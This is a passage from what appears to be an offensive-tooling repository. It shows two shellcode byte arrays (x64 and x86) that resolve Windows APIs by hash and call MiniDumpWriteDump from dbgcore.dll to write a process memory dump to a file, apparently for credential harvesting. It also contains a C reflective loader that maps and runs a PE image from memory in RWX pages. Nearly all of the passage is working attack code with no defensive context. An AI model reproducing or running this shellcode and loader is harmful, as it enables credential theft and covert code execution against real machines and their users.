"\x48\x39\xdf\x74\x29\x89\xce\xeb\x08\x48\x8b\x1b\x48\x39\xdf" 7 | "\x74\x1d\x0f\xb7\x53\x58\x48\x8b\x4b\x60\xe8\xb6\x00\x00\x00" 8 | "\x39\xf0\x75\xe7\x48\x8b\x43\x30\x48\x83\xc4\x20\x5b\x5e\x5f" 9 | "\xc3\x48\x83\xc4\x20\x31\xc0\x5b\x5e\x5f\xc3\x90\x90\x90\x90" 10 | "\x90\x90\x90\x90\x90\x90\x90\x90\x41\x56\x41\x55\x41\x54\x55" 11 | "\x57\x56\x53\x48\x83\xec\x20\x48\x63\x41\x3c\x8b\xbc\x01\x88" 12 | "\x00\x00\x00\x48\x01\xcf\x8b\x5f\x20\x8b\x47\x18\x44\x8b\x67" 13 | "\x1c\x44\x8b\x6f\x24\x48\x01\xcb\x85\xc0\x74\x4b\x48\x89\xce" 14 | "\x89\xd5\x45\x31\xf6\xeb\x0e\x49\x83\xc6\x01\x48\x83\xc3\x04" 15 | "\x44\x39\x77\x18\x76\x33\x8b\x0b\x31\xd2\x48\x01\xf1\xe8\x3b" 16 | "\x00\x00\x00\x39\xe8\x75\xe2\x4a\x8d\x04\x76\x42\x0f\xb7\x04" 17 | "\x28\x48\x8d\x04\x86\x42\x8b\x04\x20\x48\x83\xc4\x20\x5b\x48" 18 | "\x01\xf0\x5e\x5f\x5d\x41\x5c\x41\x5d\x41\x5e\xc3\x48\x83\xc4" 19 | "\x20\x31\xc0\x5b\x5e\x5f\x5d\x41\x5c\x41\x5d\x41\x5e\xc3\x90" 20 | "\x90\x90\x85\xd2\x74\x41\x0f\xb6\x01\x49\x89\xca\x41\xb8\x12" 21 | "\x14\x00\x00\x49\x83\xc2\x01\x84\xc0\x74\x1a\x3c\x60\x44\x8d" 22 | "\x48\xe0\x44\x0f\x4e\xc8\x44\x89\xc0\xc1\xe0\x05\x41\x01\xc0" 23 | "\x45\x0f\xbe\xc9\x45\x01\xc8\x4d\x89\xd1\x41\x0f\xb6\x02\x49" 24 | "\x29\xc9\x44\x39\xca\x77\xcf\x44\x89\xc0\xc3\x0f\xbe\x01\x41" 25 | "\xb8\x12\x14\x00\x00\x84\xc0\x74\xef\x44\x89\xc2\x48\x83\xc1" 26 | "\x01\xc1\xe2\x05\x3c\x60\x7e\x06\x83\xe8\x20\x0f\xb6\xc0\x01" 27 | "\xd0\x41\x01\xc0\x0f\xbe\x01\x84\xc0\x75\xe0\x44\x89\xc0\xc3" 28 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\xb8\x64\x62\x67" 29 | "\x63\x6f\x72\x65\x2e\x55\x48\xba\x57\x72\x69\x74\x65\x44\x75" 30 | "\x6d\x48\x89\xe5\x41\x57\x41\x56\x41\x55\x49\x89\xcd\xb9\xe2" 31 | "\x8f\xa5\x16\x41\x54\x57\x56\x53\x48\x83\xe4\xf0\x48\x83\xec" 32 | "\x70\x48\x89\x44\x24\x44\x48\xb8\x4d\x69\x6e\x69\x44\x75\x6d" 33 | "\x70\x48\x89\x44\x24\x50\xb8\x70\x00\x00\x00\x48\x89\x54\x24" 34 | "\x58\xc7\x44\x24\x4c\x64\x6c\x6c\x00\x66\x89\x44\x24\x60\xe8" 35 | "\x2d\xfe\xff\xff\xba\x68\x2a\xd1\x5f\x49\x89\xc4\x48\x89\xc1" 36 | "\xe8\x7d\xfe\xff\xff\x4c\x89\xe1\xba\xe7\x7d\x7b\xf1\x49\x89" 37 | "\xc7\xe8\x6d\xfe\xff\xff\x4c\x89\xe1\xba\xd4\x85\xb7\x86\x48" 38 | "\x89\xc3\xe8\x5d\xfe\xff\xff\x4c\x89\xe1\xba\x14\xfa\xff\x3f" 39 | "\x48\x89\xc6\xe8\x4d\xfe\xff\xff\x4c\x89\xe1\xba\xc1\xd8\xe6" 40 | "\x3f\x48\x89\xc7\xe8\x3d\xfe\xff\xff\x4c\x89\xe1\xba\x8c\x93" 41 | "\x02\xe2\x49\x89\xc6\xe8\x2d\xfe\xff\xff\x48\x8d\x4c\x24\x44" 42 | "\x49\x89\xc4\x41\xff\xd7\x48\x85\xc0\x74\x7c\x48\x89\xc1\x48" 43 | "\x8d\x54\x24\x50\x41\xff\xd4\x45\x31\xc9\x41\xb8\x01\x00\x00" 44 | "\x00\x4c\x89\xe9\xc7\x44\x24\x28\x80\x00\x00\x00\x49\x89\xc7" 45 | "\xba\x00\x00\x00\xc0\x48\xc7\x44\x24\x30\x00\x00\x00\x00\xc7" 46 | "\x44\x24\x20\x02\x00\x00\x00\xff\xd3\x49\x89\xc4\x48\x85\xc0" 47 | "\x74\x3a\x41\xff\xd6\x41\x89\xc5\xff\xd7\x41\xb9\x02\x02\x01" 48 | "\x00\x4d\x89\xe0\x44\x89\xea\x48\xc7\x44\x24\x30\x00\x00\x00" 49 | "\x00\x48\x89\xc1\x48\xc7\x44\x24\x28\x00\x00\x00\x00\x48\xc7" 50 | "\x44\x24\x20\x00\x00\x00\x00\x41\xff\xd7\x4c\x89\xe1\xff\xd6" 51 | "\x48\x8d\x65\xc8\x5b\x5e\x5f\x41\x5c\x41\x5d\x41\x5e\x41\x5f" 52 | "\x5d\xc3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 53 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 54 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 55 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 56 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 57 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 58 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 59 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 60 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 61 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 62 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 63 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 64 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 65 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 66 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 67 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 68 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 69 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 70 | "\x00\x00\x00\x00"; 71 | -------------------------------------------------------------------------------- /src/shellcode/payload.x86.h: -------------------------------------------------------------------------------- 1 | unsigned char sz_shellcode[] = 2 | "\x57\x56\x53\x83\xec\x10\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c" 3 | "\x8b\x7c\x24\x20\x8b\x58\x0c\x8d\x70\x0c\x39\xde\x75\x08\xeb" 4 | "\x27\x8b\x1b\x39\xde\x74\x21\x0f\xb7\x43\x2c\x89\x44\x24\x04" 5 | "\x8b\x43\x30\x89\x04\x24\xe8\xa8\x00\x00\x00\x39\xf8\x75\xe3" 6 | "\x8b\x43\x18\x83\xc4\x10\x5b\x5e\x5f\xc3\x83\xc4\x10\x31\xc0" 7 | "\x5b\x5e\x5f\xc3\x90\x55\x57\x56\x53\x83\xec\x2c\x8b\x5c\x24" 8 | "\x40\x8b\x43\x3c\x8b\x74\x03\x78\x01\xde\x8b\x46\x1c\x8b\x7e" 9 | "\x20\x89\x44\x24\x18\x8b\x46\x24\x01\xdf\x89\x44\x24\x1c\x8b" 10 | "\x46\x18\x85\xc0\x74\x4e\x31\xed\x89\xe8\x89\xf5\x89\xc6\xeb" 11 | "\x0b\x83\xc6\x01\x83\xc7\x04\x39\x75\x18\x76\x39\xc7\x44\x24" 12 | "\x04\x00\x00\x00\x00\x8b\x07\x01\xd8\x89\x04\x24\xe8\x39\x00" 13 | "\x00\x00\x3b\x44\x24\x44\x75\xdb\x8b\x54\x24\x1c\x8d\x04\x73" 14 | "\x8b\x4c\x24\x18\x0f\xb7\x04\x10\x8d\x04\x83\x03\x1c\x08\x83" 15 | "\xc4\x2c\x89\xd8\x5b\x5e\x5f\x5d\xc3\x83\xc4\x2c\x31\xc0\x5b" 16 | "\x5e\x5f\x5d\xc3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x57" 17 | "\x56\x53\x8b\x7c\x24\x14\x8b\x5c\x24\x10\x85\xff\x74\x36\x0f" 18 | "\xb6\x03\x89\xde\xba\x12\x14\x00\x00\x83\xc6\x01\x84\xc0\x74" 19 | "\x14\x3c\x60\x8d\x48\xe0\x0f\x4e\xc8\x89\xd0\xc1\xe0\x05\x01" 20 | "\xc2\x0f\xbe\xc9\x01\xca\x89\xf1\x0f\xb6\x06\x29\xd9\x39\xcf" 21 | "\x77\xda\x5b\x89\xd0\x5e\x5f\xc3\x0f\xbe\x03\xba\x12\x14\x00" 22 | "\x00\x84\xc0\x74\xee\x89\xd1\x83\xc3\x01\xc1\xe1\x05\x3c\x60" 23 | "\x7e\x06\x83\xe8\x20\x0f\xb6\xc0\x01\xc8\x01\xc2\x0f\xbe\x03" 24 | "\x84\xc0\x75\xe3\x5b\x89\xd0\x5e\x5f\xc3\x90\x90\x90\x90\x90" 25 | "\x90\x90\x90\x90\x90\x90\x90\x55\xb8\x70\x00\x00\x00\x57\x56" 26 | "\x53\x83\xec\x5c\xc7\x04\x24\xe2\x8f\xa5\x16\xc7\x44\x24\x32" 27 | "\x64\x62\x67\x63\xc7\x44\x24\x36\x6f\x72\x65\x2e\xc7\x44\x24" 28 | "\x3a\x64\x6c\x6c\x00\xc7\x44\x24\x3e\x4d\x69\x6e\x69\xc7\x44" 29 | "\x24\x42\x44\x75\x6d\x70\xc7\x44\x24\x46\x57\x72\x69\x74\xc7" 30 | "\x44\x24\x4a\x65\x44\x75\x6d\x66\x89\x44\x24\x4e\xe8\x4b\xfe" 31 | "\xff\xff\xc7\x44\x24\x04\x68\x2a\xd1\x5f\x89\x04\x24\x89\xc3" 32 | "\xe8\x89\xfe\xff\xff\x89\x1c\x24\xc7\x44\x24\x04\xe7\x7d\x7b" 33 | "\xf1\x89\xc7\xe8\x77\xfe\xff\xff\x89\x1c\x24\xc7\x44\x24\x04" 34 | "\xd4\x85\xb7\x86\x89\xc6\xe8\x65\xfe\xff\xff\x89\x1c\x24\xc7" 35 | "\x44\x24\x04\x14\xfa\xff\x3f\x89\x44\x24\x28\xe8\x51\xfe\xff" 36 | "\xff\x89\x1c\x24\xc7\x44\x24\x04\xc1\xd8\xe6\x3f\x89\x44\x24" 37 | "\x2c\xe8\x3d\xfe\xff\xff\x89\x1c\x24\xc7\x44\x24\x04\x8c\x93" 38 | "\x02\xe2\x89\xc5\xe8\x2b\xfe\xff\xff\x89\xc3\x8d\x44\x24\x32" 39 | "\x89\x04\x24\xff\xd7\x83\xec\x04\x85\xc0\x0f\x84\x97\x00\x00" 40 | "\x00\x8d\x54\x24\x3e\x89\x04\x24\x89\x54\x24\x04\xff\xd3\x83" 41 | "\xec\x08\x89\xc3\x8b\x44\x24\x70\xc7\x44\x24\x18\x00\x00\x00" 42 | "\x00\xc7\x44\x24\x14\x80\x00\x00\x00\xc7\x44\x24\x10\x02\x00" 43 | "\x00\x00\xc7\x44\x24\x0c\x00\x00\x00\x00\xc7\x44\x24\x08\x01" 44 | "\x00\x00\x00\xc7\x44\x24\x04\x00\x00\x00\xc0\x89\x04\x24\xff" 45 | "\xd6\x83\xec\x1c\x89\xc6\x85\xc0\x74\x43\xff\xd5\x8b\x4c\x24" 46 | "\x2c\x89\xc5\xff\xd1\xc7\x44\x24\x18\x00\x00\x00\x00\xc7\x44" 47 | "\x24\x14\x00\x00\x00\x00\xc7\x44\x24\x10\x00\x00\x00\x00\xc7" 48 | "\x44\x24\x0c\x02\x02\x01\x00\x89\x74\x24\x08\x89\x6c\x24\x04" 49 | "\x89\x04\x24\xff\xd3\x89\x34\x24\x8b\x44\x24\x28\xff\xd0\x83" 50 | "\xec\x04\x83\xc4\x5c\x5b\x5e\x5f\x5d\xc3\x90\x90\x90\x90\x90" 51 | "\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 52 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 53 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 54 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 55 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 56 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 57 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 58 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 59 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 60 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 61 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 62 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 63 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 64 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 65 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 66 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 67 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 68 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 69 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 70 | "\x00\x00\x00\x00"; 71 | -------------------------------------------------------------------------------- /src/ldr/loader.c: -------------------------------------------------------------------------------- 1 | #define _WIN32_LEAN_AND_MEAN 2 | #include 3 | #include 4 | #include "hashes.h" 5 | #include "util.h" 6 | #define PTR(x) ((ULONG_PTR)x) 7 | #define IMAGE_NT_HEADER(x) ( PTR(x) + ((PIMAGE_DOS_HEADER)x)->e_lfanew ) 8 | 9 | typedef struct tdFUNCTION { 10 | HMODULE (WINAPI *LoadLibraryA)( 11 | LPCSTR lpLibFileName 12 | ); 13 | NTSTATUS (NTAPI *NtFlushInstructionCache)( 14 | HANDLE ProcessHandle, 15 | LPVOID BaseAddress, 16 | ULONG NumberOfBytesToFlush 17 | ); 18 | LPVOID (WINAPI *VirtualAlloc)( 19 | LPVOID lpBase, 20 | SIZE_T Length, 21 | DWORD flCommit, 22 | DWORD flProtect 23 | ); 24 | FARPROC (WINAPI *GetProcAddress)( 25 | HMODULE DllBase, 26 | LPCSTR szRoutineName 27 | ); 28 | BOOL (WINAPI *DllMain)( 29 | HINSTANCE hInstDll, 30 | DWORD fdwReason, 31 | LPVOID lpReserved 32 | ); 33 | BOOL (WINAPI *ExeMain)( 34 | ); 35 | } FUNCTIONS; 36 | 37 | typedef struct _IMAGE_RELOC 38 | { 39 | WORD Offset : 12; 40 | WORD Type : 4; 41 | } IMAGE_RELOC, *PIMAGE_RELOC; 42 | 43 | __declspec(noinline) ULONG_PTR ReflectiveReturnAddress() { 44 | return (ULONG_PTR)__builtin_return_address(0); 45 | }; 46 | 47 | HMODULE LoadExecutableImage( _In_ LPVOID lpImage, _In_ LPVOID lpParameter ) 48 | { 49 | PIMAGE_NT_HEADERS NtsHdr = NULL; 50 | PIMAGE_SECTION_HEADER SecHdr = NULL; 51 | PIMAGE_DATA_DIRECTORY DatHdr = NULL; 52 | PIMAGE_IMPORT_DESCRIPTOR ImpDes = NULL; 53 | PIMAGE_IMPORT_BY_NAME ImpNam = NULL; 54 | PIMAGE_THUNK_DATA ThkOne = NULL; 55 | PIMAGE_THUNK_DATA ThkTwo = NULL; 56 | PIMAGE_BASE_RELOCATION ImgRel = NULL; 57 | PIMAGE_RELOC RelLst = NULL; 58 | PIMAGE_TLS_DIRECTORY TlsDir = NULL; 59 | PIMAGE_TLS_CALLBACK* TlsCbs = NULL; 60 | PIMAGE_DELAYLOAD_DESCRIPTOR DelDes = NULL; 61 | 62 | LPVOID ModPtr = NULL; 63 | LPVOID VrtPtr = NULL; 64 | LPVOID KrnMod = NULL; 65 | LPVOID NtsMod = NULL; 66 | LPVOID DllPtr = NULL; 67 | 68 | DWORD RelCnt = 0; 69 | 70 | PCHAR ImpStr = NULL; 71 | 72 | PBYTE OffSet = 0; 73 | 74 | PULONG_PTR FunPtr = 0; 75 | 76 | FUNCTIONS tbFunc = { 0 }; 77 | 78 | ModPtr = lpImage; 79 | KrnMod = GetLoadedModule(H_KERNEL32); 80 | NtsMod = GetLoadedModule(H_NTDLL); 81 | 82 | if ( ( KrnMod != NULL ) && ( NtsMod != NULL ) ) { 83 | 84 | tbFunc.LoadLibraryA = GetMemoryFunction(KrnMod, H_LOADLIBRARYA); 85 | tbFunc.VirtualAlloc = GetMemoryFunction(KrnMod, H_VIRTUALALLOC); 86 | tbFunc.GetProcAddress = GetMemoryFunction(KrnMod, H_GETPROCADDRESS); 87 | tbFunc.NtFlushInstructionCache = GetMemoryFunction(NtsMod, H_NTFLUSHINSTRUCTIONCACHE); 88 | 89 | NtsHdr = (PIMAGE_NT_HEADERS)IMAGE_NT_HEADER ( ModPtr ); 90 | SecHdr = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION( NtsHdr ); 91 | VrtPtr = tbFunc.VirtualAlloc(NULL, NtsHdr->OptionalHeader.SizeOfImage, 92 | MEM_RESERVE | MEM_COMMIT, 0x40); 93 | 94 | for ( int i = 0 ; i < NtsHdr->FileHeader.NumberOfSections ; i++ ) { 95 | InlineCopyMemory( (LPVOID)(PTR(VrtPtr) + SecHdr[i].VirtualAddress), 96 | (LPVOID)(PTR(ModPtr) + SecHdr[i].PointerToRawData), 97 | SecHdr[i].SizeOfRawData ); 98 | }; 99 | 100 | DatHdr = &NtsHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 101 | ImpDes = (PIMAGE_IMPORT_DESCRIPTOR)( PTR(VrtPtr) + DatHdr->VirtualAddress ); 102 | 103 | for ( ; ImpDes->Name != 0 ; ImpDes++ ) { 104 | ImpStr = (PCHAR)( PTR(VrtPtr) + ImpDes->Name ); 105 | DllPtr = (LPVOID)tbFunc.LoadLibraryA( ImpStr ); 106 | 107 | ThkOne = (PIMAGE_THUNK_DATA)( PTR( VrtPtr ) + ImpDes->OriginalFirstThunk ); 108 | ThkTwo = (PIMAGE_THUNK_DATA)( PTR( VrtPtr ) + ImpDes->FirstThunk ); 109 | 110 | for ( ;; ThkOne++, ThkTwo++ ) 111 | { 112 | if ( ThkOne->u1.AddressOfData == 0 ) 113 | break; 114 | 115 | FunPtr = (PULONG_PTR)PTR(&ThkTwo->u1.Function); 116 | if ( IMAGE_SNAP_BY_ORDINAL( ThkOne->u1.Ordinal ) ) { 117 | *FunPtr = PTR(tbFunc.GetProcAddress(DllPtr, (LPCSTR)IMAGE_ORDINAL(ThkOne->u1.Ordinal))); 118 | } else { 119 | ImpNam = (PIMAGE_IMPORT_BY_NAME)( PTR(VrtPtr) + ThkOne->u1.AddressOfData ); 120 | *FunPtr = PTR(tbFunc.GetProcAddress(DllPtr, (LPCSTR)ImpNam->Name)); 121 | }; 122 | }; 123 | }; 124 | 125 | DatHdr = &NtsHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT]; 126 | DelDes = (PIMAGE_DELAYLOAD_DESCRIPTOR)( PTR(VrtPtr) + DatHdr->VirtualAddress ); 127 | 128 | for ( ; DelDes->DllNameRVA != 0 ; DelDes++ ) { 129 | ImpStr = (PCHAR)( PTR(VrtPtr) + DelDes->DllNameRVA ); 130 | DllPtr = (LPVOID)tbFunc.LoadLibraryA( ImpStr ); 131 | 132 | ThkOne = (PIMAGE_THUNK_DATA)( PTR( VrtPtr ) + DelDes->ImportNameTableRVA ); 133 | ThkTwo = (PIMAGE_THUNK_DATA)( PTR( VrtPtr ) + DelDes->ImportAddressTableRVA ); 134 | 135 | for ( ;; ThkOne++, ThkTwo++ ) 136 | { 137 | if ( ThkOne->u1.AddressOfData == 0 ) 138 | break; 139 | 140 | FunPtr = (PULONG_PTR)PTR(ThkTwo->u1.Function); 141 | if ( IMAGE_SNAP_BY_ORDINAL( ThkOne->u1.Ordinal ) ) { 142 | *FunPtr = PTR(tbFunc.GetProcAddress(DllPtr, (LPCSTR)IMAGE_ORDINAL(ThkOne->u1.Ordinal))); 143 | } else { 144 | ImpNam = (PIMAGE_IMPORT_BY_NAME)( PTR(VrtPtr) + ThkOne->u1.AddressOfData ); 145 | *FunPtr = PTR(tbFunc.GetProcAddress(DllPtr, (LPCSTR)ImpNam->Name)); 146 | }; 147 | }; 148 | }; 149 | 150 | DatHdr = &NtsHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 151 | ImgRel = (PIMAGE_BASE_RELOCATION)( PTR( VrtPtr ) + DatHdr->VirtualAddress ); 152 | OffSet = (PBYTE)VrtPtr - NtsHdr->OptionalHeader.ImageBase; 153 | 154 | while ( ImgRel->SizeOfBlock ) { 155 | RelLst = (PIMAGE_RELOC)( ImgRel + 1 ); 156 | RelCnt = (ImgRel->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); 157 | while ( RelCnt-- != 0 ) 158 | { 159 | if ( RelLst->Type == IMAGE_REL_BASED_DIR64 ) 160 | *(ULONG_PTR *)( ( PTR( VrtPtr ) + ImgRel->VirtualAddress ) + RelLst->Offset ) += 161 | ( PTR( VrtPtr ) - NtsHdr->OptionalHeader.ImageBase ); 162 | else if ( RelLst->Type == IMAGE_REL_BASED_HIGHLOW ) 163 | *(DWORD *)( ( PTR( VrtPtr ) + ImgRel->VirtualAddress ) + RelLst->Offset ) += 164 | (DWORD)( PTR( VrtPtr ) - NtsHdr->OptionalHeader.ImageBase ); 165 | else if ( RelLst->Type == IMAGE_REL_BASED_HIGH ) 166 | *(WORD *)( ( PTR( VrtPtr ) + ImgRel->VirtualAddress ) + RelLst->Offset ) += 167 | HIWORD( ( PTR( VrtPtr ) - NtsHdr->OptionalHeader.ImageBase ) ); 168 | else if ( RelLst->Type == IMAGE_REL_BASED_LOW ) 169 | *(WORD *)( ( PTR( VrtPtr ) + ImgRel->VirtualAddress ) + RelLst->Offset ) += 170 | LOWORD( ( PTR( VrtPtr ) - NtsHdr->OptionalHeader.ImageBase ) ); 171 | 172 | RelLst++; 173 | }; 174 | ImgRel = (PIMAGE_BASE_RELOCATION)( ((PBYTE)PTR(ImgRel)) + ImgRel->SizeOfBlock ); 175 | }; 176 | 177 | DatHdr = &NtsHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS]; 178 | if ( DatHdr->VirtualAddress != 0 ) { 179 | TlsDir = ( PIMAGE_TLS_DIRECTORY )( PTR( VrtPtr ) + DatHdr->VirtualAddress ); 180 | TlsCbs = ( PIMAGE_TLS_CALLBACK *)( PTR( TlsDir->AddressOfCallBacks ) ); 181 | if ( TlsCbs ) { 182 | while ( *TlsCbs != NULL ) { 183 | (*TlsCbs)((LPVOID)VrtPtr, DLL_PROCESS_ATTACH, NULL); 184 | TlsCbs++; 185 | }; 186 | }; 187 | }; 188 | 189 | tbFunc.NtFlushInstructionCache( ((HANDLE)-1), NULL, 0 ); 190 | if ( ( NtsHdr->FileHeader.Characteristics & IMAGE_FILE_DLL ) ) { 191 | tbFunc.DllMain = ( LPVOID )( PTR(VrtPtr) + NtsHdr->OptionalHeader.AddressOfEntryPoint ); 192 | tbFunc.DllMain(VrtPtr, DLL_PROCESS_ATTACH, lpParameter ); 193 | } else { 194 | tbFunc.ExeMain = ( LPVOID )( PTR(VrtPtr) + NtsHdr->OptionalHeader.AddressOfEntryPoint ); 195 | tbFunc.ExeMain(); 196 | }; 197 | }; 198 | }; 199 | 200 | __declspec(dllexport) 201 | HMODULE ReflectiveLoader( _In_ LPVOID lpParameter ) 202 | { 203 | LPVOID ReflectiveModule = ( LPVOID ) ReflectiveReturnAddress(); 204 | while ( ((PIMAGE_DOS_HEADER)ReflectiveModule)->e_magic 205 | != IMAGE_DOS_SIGNATURE ) ReflectiveModule--; 206 | 207 | return LoadExecutableImage ( ReflectiveModule, lpParameter ); 208 | }; 209 | --------------------------------------------------------------------------------